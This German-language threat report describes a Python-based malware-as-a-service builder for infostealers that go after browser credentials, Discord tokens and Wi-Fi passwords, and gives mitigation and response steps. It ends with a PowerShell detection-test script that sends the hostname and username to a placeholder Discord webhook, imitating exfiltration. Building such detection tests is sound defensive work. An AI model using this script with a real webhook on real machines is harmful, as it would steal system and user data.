Die Stealer-Fabrik: Python-gestützte MaaS zum Erstellen von Infostealern

Zusammenfassung

Ein neuer Malware-as-a-Service (MaaS) Betrieb wurde identifiziert, der einen auf Python basierenden Builder verwendet, um maßgeschneiderte Informationsdiebstahl-Payloads zu erzeugen. Der Builder ermöglicht es den Betreibern, Malware als Windows-Executables über Nuitka oder PyInstaller zu verpacken, während Webhook-Konfigurationen eingebettet werden. Die resultierenden Stealer zielen auf Browser-Credentials, Discord-Tokens, Roblox-Cookies und gespeicherte Wi-Fi-Passwörter ab.

Untersuchung

Analysten untersuchten ein verschachteltes Archiv, das sowohl den Builder als auch eine eingebettete Payload enthielt. Die Untersuchung ergab, dass der Builder Webhook-URLs durch XOR- und Base64-Codierung schützt und die erforderlichen Abhängigkeiten automatisch über pip.exeinstallieren kann. Die generierte Payload implementiert auch Analyseabwehrtechniken, darunter Debugger-Erkennung und Festplattengrößenprüfungen, die zur Erkennung von Sandbox-Umgebungen dienen.

Minderung

Organisationen sollten auf unerwartete Ausführungen von pip.exe und verdächtige geplante Task-Erstellungen achten. Der Zugriff auf Browser-Datenverzeichnisse sollte eingeschränkt und die unbefugte Nutzung von netsh Befehlen erkannt werden, um die Exponierung weiter zu reduzieren. Es ist auch wichtig, Endpunktschutzlösungen auf dem neuesten Stand zu halten, um sich schnell entwickelnde, auf Python basierende Malware-Familien zu identifizieren.

Reaktion

Wenn bösartige Aktivitäten erkannt werden, isolieren Sie den betroffenen Endpunkt, um weitere Datenexfiltration über angriffsgekoppelte Webhooks zu stoppen. Überprüfen Sie Registrierungs-Run-Keys und geplante Aufgaben auf unbefugte Persistenzmechanismen. Analysieren Sie Netzwerktelemetrie auf ungewöhnliche HTTP-POST-Anfragen, die an unbekannte, neu beobachtete oder verdächtige Webhook-Endpunkte gerichtet sind.

Simulationsausführung

• Angriffserzählung & Befehle: Ein Angreifer hat einen leichten Informationsdieb auf einer Windows-Workstation eingesetzt. Um den Aufwand für die Verwaltung eines dedizierten C2-Servers zu vermeiden, verwendet der Angreifer einen Discord-Webhook, um Systemmetadaten (z.B. Hostname und Benutzername) zu exfiltrieren. Das Skript führt eine HTTP-POST-Anfrage an die Discord-API aus. Diese Aktion ist darauf ausgelegt, sich unter legitimen Entwickler- oder Spielerverkehr zu mischen, während sie speziell auf das discordapp.com/api/webhooks URI-Muster abzielt, welches die Erkennungsregel hervorgehoben.

• Regressionstest-Skript:

  # Simulation der Datenexfiltration über Discord-Webhook
  $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token"
  $payload = @{
      content = "Exfiltrated Data: Hostname=$env:COMPUTERNAME, User=$env:USERNAME"
  } | ConvertTo-Json
  
  Write-Host "[+] Simulierung der Webhook-Exfiltration..."
  try {
      Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
      Write-Host "[+] Simulationsbefehl erfolgreich gesendet."
  } catch {
      Write-Host "[-] Befehl gesendet (Erwartetes Versagen, wenn URL gefälscht ist, aber Telemetrie sollte dennoch erzeugt werden): $_"
  }

• Bereinigungskommandos:

  # Es wurden keine persistenten Dateien erstellt; keine Bereinigung erforderlich für diese nur im Speicher befindliche Simulation.
  Write-Host "[+] Bereinigung abgeschlossen: Keine Artefakte auf dem System hinterlassen."